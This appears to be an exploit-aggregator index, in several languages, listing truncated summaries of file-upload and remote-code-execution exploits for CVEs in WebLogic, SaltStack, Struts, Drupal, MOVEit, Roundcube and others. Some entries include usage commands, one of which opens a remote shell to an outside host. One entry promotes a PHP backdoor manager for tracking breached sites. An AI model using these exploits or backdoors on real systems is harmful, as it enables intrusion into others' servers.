CVE-2026-39292

Titre : CVE-2026-39292 – Téléchargement arbitraire de fichiers conduisant à une exécution de code à distance RCE dans Falco Solutions PHPPageBuilder v0.31.0 Résumé : Une vulnérabilité de téléchargement de fichier dans le module pagemanager/pagebuilder permet à des attaquants authentifiés/non...

cve-2019-2618

cve-2019-2618 Vulnerabilità di upload su Weblogic richiede nome utente e password - CVE-2019-2618 Utilizzo con Python root@kitploit: python CVE-2019-2618.py url username password Decifrare la password di Weblogic root@kitploit: root@f0cb7e674d7e:/Oracle cat...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Esegui su Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Esegui su Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" Ottieni Shell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8...

CVE-2024-53677

CVE-2024-53677 إثبات المفهوم لاستغلال CVE-2024-53677 - ثغرة اجتياز المسار في رفع الملفات في Apache Struts مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد...

drupal-exploit

drupal-exploit CVE-2018-7600 Este script explorará a vulnerabilidade CVE-2018-7600 no Drupal 7 : drupal.py https://drupaldomain/drupal/ uid=33www-data gid=33www-data groups=33www-data https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.drupal.org/sa-core-2018-002...

CVE-2023-46694

CVE-2023-46694 Scoperto da: Federico Zambito con Innovery Riepilogo Vtenext 21.02 consente a un utente autenticato di caricare file arbitrari, portando all'esecuzione di codice in remoto. Questa vulnerabilità esiste a causa della mancata applicazione di controlli di autenticazione adeguati da par...

CVE-2024-53677-Exploitation

Sfruttamento di CVE-2024-53677 Apache Struts RCE tramite Caricamento File Descrizione CVE-2024-53677 è una vulnerabilità che impatta Apache Struts dalla versione 2.0.0 fino alla 6.4.0. ⚠️ Questa è stata sfruttata in un laboratorio Hack The Box. La logica di caricamento file in Apache Struts è...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: MOVEit Transfer RCE non autenticato Per una descrizione tecnica completa della vulnerabilità e dello sfruttamento, leggi la nostra Analisi di AttackerKB. Utilizzo ruby move.rb ruby move.rb 192.168.86.111 + Avvio. target='https://192.168.86.111'. + Ottenuto token di sessione inizia...

tinyfilemanager-2.4.3-exploit

CVE-2021-45010 Exploit di Tiny File Manager-2.4.3 Una vulnerabilità di path traversal nella funzionalità di caricamento dei file in tinyfilemanager.php del Tiny File Manager = 2.4.6 di Tiny File Manager Project consente ad attaccanti remoti con account utente validi di caricare file PHP dannosi...

CVE-2025-3616

Metasploit-Modul: Greenshift WordPress Plugin – Beliebiges Datei-Upload CVE-2025-3616 Dieses Repository enthält ein Metasploit-Modul zur Ausnutzung von CVE-2025-3616 , einer Schwachstelle für beliebiges Datei-Upload im Greenshift WordPress Plugin Versionen 11.4 bis 11.4.5. Der Exploit ermöglicht...

Better-CVE-2022-29464

Besseres CVE-2022-29464 Bestimmte WSO2-Produkte ermöglichen uneingeschränkten Dateiupload mit anschließender Remote-Code-Ausführung. Der Angreifer muss einen /fileupload-Endpunkt mit einer Content-Disposition-Directory-Traversal-Sequenz verwenden, um ein Verzeichnis unter dem Webroot zu erreichen...

CVE-2024-50379

CVE-2024-50379 استغلال CVE-2024-50379 يجب أن يكون CVE-2024-50379.py و upload.txt في نفس الدليل. محتوى upload هو الحمولة webshell. محتوى upload هنا يقوم بإنشاء ملف 2.jsp. يمكن استخدام 2.jsp لإنشاء ملف 4.jsp جديد من نوع "Bingxie" الأصلي. root@kitploit:...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Vulnerabilità di Esecuzione Remota di Codice in Roundcube Webmail Panoramica Tecnica CVE-2025-49113 è una vulnerabilità critica di deserializzazione non sicura in Roundcube Webmail che consente l'esecuzione remota di codice autenticata. La vulnerabilità deriva da una gestione...

CVE-2023-26262

Sitecore 10.3 Vulnerabilidade de upload de arquivo autenticado Autor: Thomas Stern Data: 26/01-2023 Resumo É possível, através da funcionalidade de importação de idiomas, fazer upload de um arquivo arbitrário. Este arquivo pode ser um webshell que permitiria a execução de código no servidor. Pass...

shellstack

ShellStack Versione 1.0 ShellStack è uno strumento di gestione backdoor basato su PHP. Questo strumento è utile per "HACKER" che desiderano tenere traccia di ogni sito web che violano. Lo strumento genera un file backdoor che basta caricare sul sito e inserire l'URL della backdoor nel file...

CVE-2025-52691

CVE-2025-52691 SmarterMail Caricamento Arbitrario di File non Autenticato RCE Panoramica Caricamento arbitrario di file non autenticato critico che consente l'esecuzione di codice remoto...

CVE-2025-64095

=== Descrizione === DNN precedentemente DotNetNuke è una piattaforma di gestione dei contenuti web CMS open-source nell'ecosistema Microsoft. Prima della versione 10.1.1, il provider di editor HTML predefinito consente il caricamento di file non autenticati e le immagini possono sovrascrivere fil...

WordPress-File-Upload-4.24.11---Unauthenticated-Path-Traversal

WordPress-File-Upload-4.24.11---Unauthenticated-Path-Traversal CVE-2024-9047 أداة أمنية مبنية على بايثون لكشف واستغلال ثغرة قراءة ملف عشوائية في إضافة WP File Upload لووردبريس الإصدارات = 4.24.11...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 Introduzione alla vulnerabilità Il 21 settembre 2021, VMware ha pubblicato un advisory di sicurezza in cui sono state divulgate 19 vulnerabilità in vCenter Server, con punteggi CVSSv3 compresi tra 4.3 e 9.8. Tra queste, la vulnerabilità più grave è quella di caricamento...

eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE

Título do Exploit : eLabFTW 1.8.5 'EntityController' Upload Arbitrário de Arquivo / RCE Data : 5/18/19 Autor do Exploit : liquidsky Joseph McPeters Software Vulnerável : eLabFTW 1.8.5 Página do Fornecedor : https://www.elabftw.net/ Versão : 1.8.5 Link do Software : https://doc.elabftw.net/ Testad...